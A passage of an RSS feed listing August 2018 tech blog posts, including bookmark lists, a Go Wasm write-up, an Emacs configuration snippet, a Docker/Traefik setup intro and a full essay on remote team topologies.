isPermaLink="true">https://craftyduck.rocks/blog/waspr-en/01-inception</guid></item><item><title>Reason N. 999... why Sustainable Development needs good Open Data</title><link>https://stop.zona-m.net/2018/08/reason-n.-999...-why-sustainable-development-needs-good-open-data/</link><description>&lt;p&gt;is right behind, or above, urban population growth.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 28 Aug 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/08/reason-n.-999...-why-sustainable-development-needs-good-open-data/</guid></item><item><title>GTD/Get things done bookmarks</title><link>https://xenodium.com/gtdget-things-done-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://jamesstuber.com/plan-your-day/"&gt;Daily Time Management with Todoist and Google Calendar | JamesStuber.com&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://klinger.io/post/71640845938/dont-drown-in-email-how-to-use-gmail-more"&gt;Don’t drown in email! How to use Gmail more efficiently. - Startup Lessons Learned&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://praxis.fortelabs.co/gtd-x-pkm-8ff720ef6939/"&gt;Getting Things Done + Personal Knowledge Management - Praxis&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://emacs.cafe/emacs/orgmode/gtd/2017/06/30/orgmode-gtd.html"&gt;Orgmode for GTD/Get things done&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 28 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/gtdget-things-done-bookmarks</guid></item><item><title>Pandoc bookmarks</title><link>https://xenodium.com/pandoc-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.gabrielgambetta.com/tgl_open_source.html"&gt;How I wrote and published my novel using only open source tools&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=17855104"&gt;Pandoc (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pandoc.org/demos.html"&gt;Pandoc - Demos&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 28 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/pandoc-bookmarks</guid></item><item><title>JavaScript Object Type Coercion</title><link>https://medium.com/intrinsic/javascript-object-type-coercion-b2ec176c02c4</link><author>Thomas Hunter II</author><pubDate>Tue, 28 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://medium.com/intrinsic/javascript-object-type-coercion-b2ec176c02c4</guid></item><item><title>Sloc Cloc and Code Revisited - A focus on accuracy</title><link>https://boyter.org/posts/sloc-cloc-code-revisited/</link><description>&lt;p&gt;&lt;strong&gt;Update 2019-03-13&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is now part of a series of blog posts about &lt;code&gt;scc&lt;/code&gt; Sloc Cloc and Code which has now been optimised to be the fastest code counter for almost every workload. Read more about it at the following links.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code/"&gt;Sloc Cloc and Code - What happened on the way to faster Cloc 2018-04-16&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-revisited/"&gt;Sloc Cloc and Code Revisited - A focus on accuracy 2018-08-28&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-performance/"&gt;Sloc Cloc and Code Revisited - Optimizing an already fast Go application 2018-09-19&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-performance-update/"&gt;Sloc Cloc and Code a Performance Update 2019-01-09&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://boyter.org/posts/sloc-cloc-code-badges/"&gt;Sloc Cloc and Code Badges for Github/Bitbucket/Gitlab&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Two things prompted me to start looking at my code counter &lt;code&gt;scc&lt;/code&gt; again. The first being the release of Go 1.11. New releases of compilers, libraries and tool-chains have a wonderful habit of making things go faster without you having to do anything other than recompile. In addition they often provide new methods which assist with this and are worth exploring.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Tue, 28 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://boyter.org/posts/sloc-cloc-code-revisited/</guid></item><item><title>A Universal Lemma For Compliance</title><link>https://blog.eutopian.io/a-universal-lemma-for-compliance/</link><description>2500 words, 9 1/2 minutes. Matthew Hopkins, Witchfinder General. 1647 Engraving.
Here I describe a lemma1 or helping theorem for technical compliance of IT with a focus on Information Security.
It&amp;rsquo;s an approach for all compliance regimes whether regulatory or corporate. It doesn&amp;rsquo;t date, nor is it predicated on a technology or platform. It isn&amp;rsquo;t a trick. It doesn&amp;rsquo;t provide cover for inadequate security or incompetent staff. If you&amp;rsquo;re looking to evade compliance, disguise incompetence, or shirk accountability then you&amp;rsquo;re in the wrong article.</description><author>Privacy, Power, &amp;amp; Protection In The Cyber Century</author><pubDate>Mon, 27 Aug 2018 21:38:04 GMT</pubDate><guid isPermaLink="true">https://blog.eutopian.io/a-universal-lemma-for-compliance/</guid></item><item><title>Wasm with Go to build an S2 cover map viewer</title><link>https://blog.nobugware.com/post/2018/wasm_go_s2_javascript/</link><description>I needed a reason to use the new Go 1.11 Wasm port for &amp;ldquo;real&amp;rdquo;.
To make it short, it compiles Go code to Wasm binary format for a virtual machine running in web browsers.
I&amp;rsquo;ve always needed a debug tool to display S2 Cells on a map for different shapes, some online tools already exist:
s2map.com unfortunately the backend is often/currently dead. regioncoverer which doesn&amp;rsquo;t allow polygons. I&amp;rsquo;ve planned for a Qt Go app or a QGIS plugin with C++ bindings to Python but to ship those modules would be a nightmare.</description><author>Fabrice Aneche</author><pubDate>Mon, 27 Aug 2018 05:19:57 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2018/wasm_go_s2_javascript/</guid></item><item><title>Mauritius travel bookmarks</title><link>https://xenodium.com/mauritius-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.nomadasaurus.com/things-to-do-in-mauritius/"&gt;20 Amazing Things to Do in Mauritius (2020 Guide)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://1886corsontea.com"&gt;Corson vanilla tea&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tripadvisor.co.uk/Attraction_Review-g293816-d477276-Reviews-Ile_aux_Cerfs-Mauritius.html#photos;aggregationId=101&amp;amp;albumid=101&amp;amp;filter=7&amp;amp;ff=447514694"&gt;Ile aux Cerfs (Mauritius) - Jonathan/Vanessa excursions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Le_Morne_Brabant"&gt;Le Morne Brabant (Wikipedia)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mauritiusattractions.com/mauritius-beaches-i-80.html"&gt;Mauritius Beaches - the Best Beaches in Mauritius - Mauritius Attractions&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bugbog.com/beaches/beach_pictures_mauritius/"&gt;Mauritius beaches: pictures, information, resorts, sights&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bugbog.com/beaches/beach_pictures_mauritius/mauritius_sights/#ganga"&gt;Mauritius sights, large pictures, best things to see and do&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.maurinet.com/tourist_information/public_beaches"&gt;Public Beaches :: Mauritius Island Online&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mel365.com/best-beaches-in-mauritius/"&gt;The 12 best beaches in Mauritius 2020 {with map and photos}&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://theculturetrip.com/africa/mauritius/articles/the-best-markets-in-mauritius/"&gt;The Best Markets in Mauritius&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://theculturetrip.com/africa/mauritius/articles/the-best-spots-to-eat-roti-in-port-louis-mauritius/"&gt;The Best Spots to Eat Roti in Port Louis, Mauritius&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://theculturetrip.com/africa/mauritius/articles/the-essential-guide-to-port-louis-central-market-in-mauritius/"&gt;The Essential Guide to Port Louis' Central Market in Mauritius&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 27 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/mauritius-travel-bookmarks</guid></item><item><title>Scala bookmarks</title><link>https://xenodium.com/scala-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://leanpub.com/fpmortals/read"&gt;Functional Programming for Mortals (Leanpub)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 27 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/scala-bookmarks</guid></item><item><title>Using validate.js instead of Vuelidate in Vue.js applications</title><link>https://stribny.name/posts/using-validate-js-instead-of-vuelidate-in-vue-js-applications/</link><author>Posts by Petr Stribny</author><pubDate>Sun, 26 Aug 2018 19:53:46 GMT</pubDate><guid isPermaLink="true">https://stribny.name/posts/using-validate-js-instead-of-vuelidate-in-vue-js-applications/</guid></item><item><title>Are YOU experiencing shady output from your Go debugger? Try these things!</title><link>https://liza.io/are-you-experiencing-shady-output-from-your-go-debugger-try-these-things/</link><description>&lt;p&gt;A couple of days ago I noticed some unreliable output when stepping through the SnailLife server. I use GoLand and Delve debugger, but in the course of looking into this I picked up some tips from trial and error plus from some very helpful people which I think might be useful regardless of the debugger you use.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 25 Aug 2018 22:50:19 GMT</pubDate><guid isPermaLink="true">https://liza.io/are-you-experiencing-shady-output-from-your-go-debugger-try-these-things/</guid></item><item><title>Dripform - No Bullshit Forms</title><link>https://ferrucc.io/posts/dripform/</link><description>&lt;p&gt;&lt;img alt="" src="https://ferrucc.io/dripform.png" /&gt;&lt;/p&gt;
&lt;p&gt;A little more than two months ago &lt;a href="https://twitter.com/kpavlovsky_pro"&gt;Konstantin&lt;/a&gt; asked me how long would it take for me to develop something that would let him receive forms on his website as Telegram messages.&lt;/p&gt;
&lt;p&gt;I wasn&amp;rsquo;t sure how long it would take, but finding the task interesting I decided to just do it.&lt;/p&gt;
&lt;p&gt;In an afternoon of work I made the first version of &amp;ldquo;Dripform&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;After making it I started exchanging ideas via email with &lt;a href="https://twitter.com/marcantoinefon"&gt;Marc-Antoine&lt;/a&gt; who is working on a similar product. (btw Marc thanks for correcting my messages in french)&lt;/p&gt;</description><author>ferrucc.io</author><pubDate>Sat, 25 Aug 2018 19:46:03 GMT</pubDate><guid isPermaLink="true">https://ferrucc.io/posts/dripform/</guid></item><item><title>Page Builders and WYSIWYG in JS / React / Vue</title><link>https://yasha.solutions/page-builders-and-wyiwyg-in-javascript-reactjs-vuejs/</link><description>Gramateria https://www.gramateria.com/GrapeJS https://grapesjs.com/GrapesJS is a multi-purpose, Web Builder Framework. It can be used to create web pages, Newsletters, Native Mobile Applications, Native Desktop Applications (eg. Vuido), PDFs (eg. React PDF), etc.
DanteII https://michelson.github.io/dante2/“Just” another medium clone built on top of DraftJs – in React
SlateJs https://github.com/ianstormtaylor/slateReact Draft WYSIWYG Just a react editor
https://github.com/jpuri/react-draft-wysiwygFroala A multi framework editor
Warning : not free. Cost minimum 144 dollars and up to 1800 / year.</description><author>Yasha Solutions</author><pubDate>Fri, 24 Aug 2018 14:34:03 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/page-builders-and-wyiwyg-in-javascript-reactjs-vuejs/</guid></item><item><title>Doubts on Software Licenses, 2018 version</title><link>https://stop.zona-m.net/2018/08/doubts-on-software-licenses-2018-version/</link><description>&lt;p&gt;Last month I found, once more, that this fundamental topic of our times keeps going through the same, decades-long doubts, and maybe errors.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 24 Aug 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/08/doubts-on-software-licenses-2018-version/</guid></item><item><title>The digital transformation done right – a conceptual case study</title><link>https://yasha.solutions/the-digital-transformation-done-right-a-conceptual-case-study/</link><description>Source: Podcast with Adams Jacob from ChefRight now, the most common line of thinking – when it comes to digital transformation – is we will take some large enterprise, like Procter and Gamble, and we’re going to rewrite Procter and Gamble so that it works the way Google works.
 So, if Google had built Procter and Gamble, what would Google have done? And that’s our strategy.
 The big plot is to take the entirety of your business, burn it to the ground, and then rebuild it as if they were another organisation they have never seen before, in a pattern they’ve never seen?</description><author>Yasha Solutions</author><pubDate>Thu, 23 Aug 2018 13:22:53 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/the-digital-transformation-done-right-a-conceptual-case-study/</guid></item><item><title>Testing a TypeScript React app using TS-Jest without using Create React App</title><link>https://jasonraimondi.com/posts/testing-a-typescript-react-app-using-ts-jest-not-create-react-app/</link><description>&lt;p&gt;There is very little documentation on setting up a TypeScript React project that is not using the &lt;code&gt;create-react-app&lt;/code&gt; magical nonsense.&lt;/p&gt;
&lt;p&gt;The [Create React App](&lt;a href="https://github.com/facebook/create-react-app"&gt;GitHub - facebook/create-react-app: Create React apps with no build configuration.&lt;/a&gt;) helper works great for greenfield projects, or projects that are not going to deviate at all from the structure and tools the Create React App helper gives you.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Jest Results with Code Coverage" src="./imgs/intellij-test-suite.png" /&gt;&lt;/p&gt;
&lt;p&gt;My goal is to give you a fairly slim (while remaining production ready) tested, TypeScript React app, WITH code coverage.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Thu, 23 Aug 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/testing-a-typescript-react-app-using-ts-jest-not-create-react-app/</guid></item><item><title>Forkbox</title><link>https://github.com/pomber/forkbox</link><description>Fork, dev, test, and merge PRs online</description><author>Rodrigo Pombo</author><pubDate>Thu, 23 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://github.com/pomber/forkbox</guid></item><item><title>Topologies of Remote Teams</title><link>https://ntietz.com/blog/topologies-of-remote-teams/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;When you're building or scaling a software engineering team, you naturally run into a choice at some point: will we all be in the same office, or will we do this "remote work" thing? There are a lot of factors that go into whether or not remote work will work for your team, like if you &lt;a href="https://ntietz.com/2018/06/02/remote.html"&gt;know how to work remote&lt;/a&gt;. Another consideration, to make it &lt;em&gt;more&lt;/em&gt; complicated, is which form of remote work you want to consider.&lt;/p&gt;
&lt;p&gt;There are four different "topologies" of remote work that I've observed:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The Linux model: fully remote, fully asynchronous&lt;/li&gt;
&lt;li&gt;The Basecamp model: fully remote, somewhat synchronous&lt;/li&gt;
&lt;li&gt;The hybrid model: half remote, half colocated, fully synchronous&lt;/li&gt;
&lt;li&gt;The traditional model: colocated team, possibly with some remote team members&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I've been on three of these types of teams, and I've seen the other quite a bit. Let's take a deeper dive into each of them, and then talk about how to make a decision at the end.&lt;/p&gt;
&lt;h1 id="the-linux-model-fully-remote-fully-asynchronous"&gt;The Linux model: fully remote, fully asynchronous&lt;/h1&gt;
&lt;p&gt;This model is common in open source software projects, due to practical concerns: people work on it at odd hours and cannot be expected to be on chat all at the same time.&lt;/p&gt;
&lt;p&gt;You can get a lot of great work done this way. This blog post was written using software that was mostly created this way. The Linux kernel certainly was, at any rate: Linus Torvalds uploaded the source code and sent out some emails on a mailing list, and then other programmers were able to send patches in. As far as I know, the Linux kernel developers don't hop onto Slack to talk all day and to have video calls, so most of their communication is through asynchronous means like email.&lt;/p&gt;
&lt;p&gt;This model will work for you when the people on your team work very well with high degrees of autonomy. Since it's asynchronous, they have to be able to do this, or they will run into periods of indecision and stall out.&lt;/p&gt;
&lt;p&gt;This is the model which I haven't lived first-hand. My evenings aren't filled with open source contributions (I'd rather spend the time cooking or reading a good book or writing &lt;em&gt;English&lt;/em&gt;). I haven't seen this at a lot of companies, although there are some companies where it's debatable if they fall in this category or the next one.&lt;/p&gt;
&lt;p&gt;Personally, I find this one suboptimal; it's really nice to have a couple of hours each day where you overlap with the coworkers you're working closely with so you can bounce ideas off them directly, whether it's for debugging or for designing a new feature or for solving a gnarly architecture problem. But it can work and it emphasizes deep work, so there's a big benefit there.&lt;/p&gt;
&lt;h1 id="the-basecamp-model-fully-remote-somewhat-synchronous"&gt;The Basecamp model: fully remote, somewhat synchronous&lt;/h1&gt;
&lt;p&gt;This model is probably the prototypical commercial fully remote model. This is how I'd categorize companies like Basecamp, GitHub, and others. They're almost entirely remote but they tend to have at least a few hours of overlap of timezones between people who are working closely together to allow for those immensely valuable interactions where you put two people together but get more than two times better solutions as a result.&lt;/p&gt;
&lt;p&gt;This model works well when people on your team can work with high degrees of autonomy but they don't have to be quite as autonomous as when it's fully asynchronous, since you have some overlap to bounce ideas off of people and get input from them and talk about where you're going next.&lt;/p&gt;
&lt;p&gt;The pitfall in this model is that some activities are simply harder. To the best of my knowledge, there is no great way to whiteboard together with remote employees, and that's a great technique for designing software. It's also difficult to pair program, and mentoring junior engineers just has higher friction when remote.&lt;/p&gt;
&lt;p&gt;That said, this is an incredibly fun and productive way to work. I did this on a contracting project, and it was really great for the freedom of it, since you could be offline at any time as long as you were getting your work done. The biggest drawback, on our project, was that it was difficult to get a rhythm going due to all of us having different schedules (despite all living in the same timezone, we actually had few overlapping work hours), which just emphasizes the importance of overlapping work hours and also how hard schedules are, even for a handful of people.&lt;/p&gt;
&lt;h1 id="the-hybrid-model-half-remote-half-colocated-fully-synchronous"&gt;The hybrid model: half remote, half colocated, fully synchronous&lt;/h1&gt;
&lt;p&gt;For pragmatic reasons, more and more companies are adopting this pattern. The company I work for, &lt;a href="https://remesh.ai"&gt;Remesh&lt;/a&gt;, does this: we have engineers at our HQ in NYC, but we actually have a slim majority of our engineers spread out across the US. We got into this model because the team had two engineers and needed to staff up, so they brought me on as the first remote engineer; it went well, so we gradually hired more remote engineers.&lt;/p&gt;
&lt;p&gt;In general, this model is charcaterized by a very strong geographic presence in one location but with a large number of remote engineers. Because these teams have a lot of colocated engineers, they tend to emphasize having a lot of overlap in their days, prioritize synchronous communication, and have high team cohesion.&lt;/p&gt;
&lt;p&gt;This configuration has a lot of benefits. Having a lot of colocated engineers makes it easier to build team cohesion. But by having so many engineers remote, you are forced to adopt remote-work patterns. The whole taem benefits from better documentation and more location indepependence. Not to mention, you also reap one of the biggest benefits of remote work: the gigantic pool of talent out there, since &lt;em&gt;most&lt;/em&gt; of the talented engineers don't live where you live.&lt;/p&gt;
&lt;p&gt;The biggest difficulty here is keeping cohesion between your colocated and remote team members. The colocated engineers will tend to form tighter bonds because they see each other every day. There are some ways around that, like having frequent meetups for the remote team members, but it's a risk factor you just have to be aware of and have to work to mitigate.&lt;/p&gt;
&lt;p&gt;If you go this route, make sure that you actively engage the remote engineers, and consider forcing all the engineers to spend &lt;em&gt;some&lt;/em&gt; time remote to build empathy and stronger habits on the team as a whole. Think of it as &lt;a href="https://techcrunch.com/2018/02/04/the-rise-of-chaos-engineering/"&gt;chaos engineering&lt;/a&gt; for your team: if you randomly prevent people from working inside the office, you will &lt;em&gt;force&lt;/em&gt; your team to document better, be remote friendly, and be more independent and autonomous.&lt;/p&gt;
&lt;h1 id="the-traditional-model-colocated-team-with-a-few-remote-team-members"&gt;The traditional model: colocated team with a few remote team members&lt;/h1&gt;
&lt;p&gt;This one is easy to identify from a distance: everyone is in one location except for a few loners who are remote. This usually happens in traditional work environments when something major changes: either an employee is going to move to another city and the company makes this work to keep them on; or they need to bring on talent for a specific skillset and they cannot find it locally.&lt;/p&gt;
&lt;p&gt;I don't recommend this model. The benefits are minimal, and are just centered around a specific person that you want to be able to work with. But the drawbacks are huge. You will have a lot of difficulty integrating the remote person in, since your work patterns are all set up for colocated engineers. You will struggle to retain this remote employee for a long time, since you will in all likelihood alienate them or they will simply feel left out by being unable to participate in local team events. It can work with people who you have a really good rapport with or who are already very, &lt;em&gt;very&lt;/em&gt; good at remote work, but it usually does not work well.&lt;/p&gt;
&lt;p&gt;The only situation I'd recommend this for, as the employer or the employee, is for short-term contracts. For anything beyond that, if you want to embrace remote work, go all in and at least embrace the patterns that will make it work well, since those will benefit your colocated employees and you will broaden your talent pool.&lt;/p&gt;
&lt;h1 id="recommendations"&gt;Recommendations&lt;/h1&gt;
&lt;p&gt;Of these, the "traditional" model is to be avoided at nearly any cost since it is painful with few benefits, and the Linux model is ill-suited for most businesses since you sacrifice agility of decision making which is critical to launching good, fresh products.&lt;/p&gt;
&lt;p&gt;So we're left with two realistic models: fully remote but mostly synchronous; or half remote and half colocated. If you execute either of these well, you reap tremendous benefits, so the difference comes down to how much you value colocation. I personally don't find it intensely valuable, so I'll always vote remote; others do find it valuable. One way to make this decision, to find out how much colocation is important for you, is to simply &lt;em&gt;try&lt;/em&gt; to be fully remote. With your existing team, close the office for a month and see how you all get on; or if you're scaling up, require half the team to work from outside the office half the time, so you don't have to get that bigger office space just yet. It will be difficult at first, but it will tell you whether or not you truly need colocation and it will expose what you were getting from it - and what it was costing you. And then you will know which way you should go.&lt;/p&gt;
&lt;p&gt;Personally, when I start a company, I'm going to go all-in on remote work from day one.&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Thu, 23 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/topologies-of-remote-teams/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>HR mumbo jumbo in ads – Sorry.</title><link>https://yasha.solutions/hr-mumbo-jumbo-in-ads-sorry/</link><description>The ad At LinkedIn, we are transforming the way organisations attract talent. Join us in changing the way the world works. The SMB Solutions team is looking for a French-speaking Media Solutions Manager to drive success with our campaign media customers. Using your analytical, influencing and relationship building skills, you will act as a business partner to the French and German SMB market, partnering with the sales team and our clients to ensure talent attraction and business development campaigns are utilised and optimised, and to ensure our customers come back for more!</description><author>Yasha Solutions</author><pubDate>Wed, 22 Aug 2018 15:35:28 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/hr-mumbo-jumbo-in-ads-sorry/</guid></item><item><title>Quantifying Qualitative Research by Leisa Reichelt at Mind the Product San Francisco 2018</title><link>https://yasha.solutions/quantifying-qualitative-research-by-leisa-reichelt-at-mind-the-product-san-francisco-2018/</link><description>Must watch :
About surveys : 18min47 Note to self : must do a summary of this awesome talk</description><author>Yasha Solutions</author><pubDate>Wed, 22 Aug 2018 13:51:06 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/quantifying-qualitative-research-by-leisa-reichelt-at-mind-the-product-san-francisco-2018/</guid></item><item><title>Thermomorph Postmortem</title><link>https://blog.varunramesh.net/posts/thermomorph-postmortem/</link><description>A postmortem for Thermomorph, an Alien-inspired horror game.</description><author>Varun Ramesh's Blog</author><pubDate>Wed, 22 Aug 2018 13:14:11 GMT</pubDate><guid isPermaLink="true">https://blog.varunramesh.net/posts/thermomorph-postmortem/</guid></item><item><title>UX heuristics</title><link>https://yasha.solutions/ux-heuristics/</link><description>Heuristic Evaluation A heuristic evaluation is a usability inspection method for computer software that helps to identify usability problems in the user interface (UI) design. It specifically involves evaluators examining the interface and judging its compliance with recognized usability principles (the “heuristics”). These evaluation methods are now widely taught and practiced in the new media sector, where UIs are often designed in a short space of time on a budget that may restrict the amount of money available to provide for other types of interface testing.</description><author>Yasha Solutions</author><pubDate>Wed, 22 Aug 2018 13:06:31 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/ux-heuristics/</guid></item><item><title>Actionable URLs in Emacs buffers</title><link>https://xenodium.com/actionable-urls-in-emacs-buffers</link><description>&lt;p&gt;Should have enabled actionable URLs in my Emacs buffers long ago. Can now click or press return to follow links. It's great on eshell, compilation buffers, async shell commands, code, etc.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package goto-addr
  :hook ((compilation-mode . goto-address-mode)
         (prog-mode . goto-address-prog-mode)
         (eshell-mode . goto-address-mode)
         (shell-mode . goto-address-mode))
  :bind (:map goto-address-highlight-keymap
              (&amp;quot;&amp;lt;RET&amp;gt;&amp;quot; . goto-address-at-point)
              (&amp;quot;M-&amp;lt;RET&amp;gt;&amp;quot; . newline))
  :commands (goto-address-prog-mode
             goto-address-mode))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/actionable-urls-in-emacs-buffers/goto-address.png" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 22 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/actionable-urls-in-emacs-buffers</guid></item><item><title>Bazel bookmarks</title><link>https://xenodium.com/bazel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/vincent-picaud/Bazel_with_GTest"&gt;Bazel_with_GTest: C++ project skeleton with Bazel &amp;amp; GTest&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tulipemoutarde.be/posts/bazel-for-mobile-apps-part-2/"&gt;Build mobile apps with Bazel. Part 2: iOS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/bazelbuild/rules_docker"&gt;GitHub - bazelbuild/rules_docker: Rules for building and handling Docker images with Bazel&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jin/awesome-bazel"&gt;GitHub - jin/awesome-bazel: A curated list of Bazel rules, tooling and resources&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jakemccrary.com/blog/2020/06/28/using-bazel-to-help-fix-flaky-tests/"&gt;Using Bazel to help fix flaky tests - Jake McCrary&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 22 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/bazel-bookmarks</guid></item><item><title>CSS and SVG input animations</title><link>https://muffinman.io/blog/css-and-svg-input-animations/</link><description>&lt;article class="article"&gt;&lt;p&gt;Yesterday, one of my colleagues shared UI Movement website. It resulted in me playing with random animations trying to replicate mockups I liked.&lt;/p&gt;
&lt;p&gt;Here are the results:&lt;/p&gt;

&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Wed, 22 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/css-and-svg-input-animations/</guid></item><item><title>Docker Compose, Traefik 1.7 + Lets Encrypt</title><link>https://jasonraimondi.com/posts/docker-compose-traefik-lets-encrypt/</link><description>&lt;p&gt;If you’ve ever configured Docker + Nginx + Lets Encrypt before, it takes some time. Tools like Certbot have made this process easier, but they are not without flaws, especially when deploying to a docker environment. Traefik makes it a cinch.&lt;/p&gt;
&lt;p&gt;Maintaining nginx configurations as well as  SSL certificates is doable. Deploying a new container to a domain and getting that configured with SSL can take a bit of time but it is by no means impossible. For each deployed site, you need to have a  &lt;code&gt;site.conf&lt;/code&gt; nginx file and several more files for nginx certificates. All of these files need to be deployed in the nginx container and mounted to the host machine so when the container is rebuilt you do not lose your certificates. Check out my post on &lt;a href="./2017-08-22-configure-ssl-lets-encrypt-nginx-docker.md"&gt;configuring lets encrypt with nginx using docker&lt;/a&gt; if you really want to find out.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Tue, 21 Aug 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/docker-compose-traefik-lets-encrypt/</guid></item><item><title>Oracle SQL Tuning training &amp;amp; Oracle Troubleshooting training and some Linux stuff too!</title><link>https://tanelpoder.com/posts/2018-08-20-oracle-sql-tuning-training-oracle-troubleshooting-training/</link><description>&lt;p&gt;&lt;em&gt;Update: Starting from 2022, I am delivering all my classes in a new format, via my new Learning Platform. Check out what are Learning Weeks and the new Continuous Learning method here:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://learn.tanelpoder.com"&gt;https://learn.tanelpoder.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;More details about the class contents here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tanelpoder.com/seminar/"&gt;Advanced Oracle SQL Tuning training&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tanelpoder.com/seminar/"&gt;Practical Linux Performance &amp;amp; Application troubleshooting training&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tanelpoder.com/seminar/"&gt;Advanced Oracle Troubleshooting training&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here are some example slides from the AST class for eye-candy :)&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Execution plan data flow&lt;/th&gt;
          &lt;th&gt;Reading SQL Monitoring reports&lt;/th&gt;
      &lt;/tr&gt;
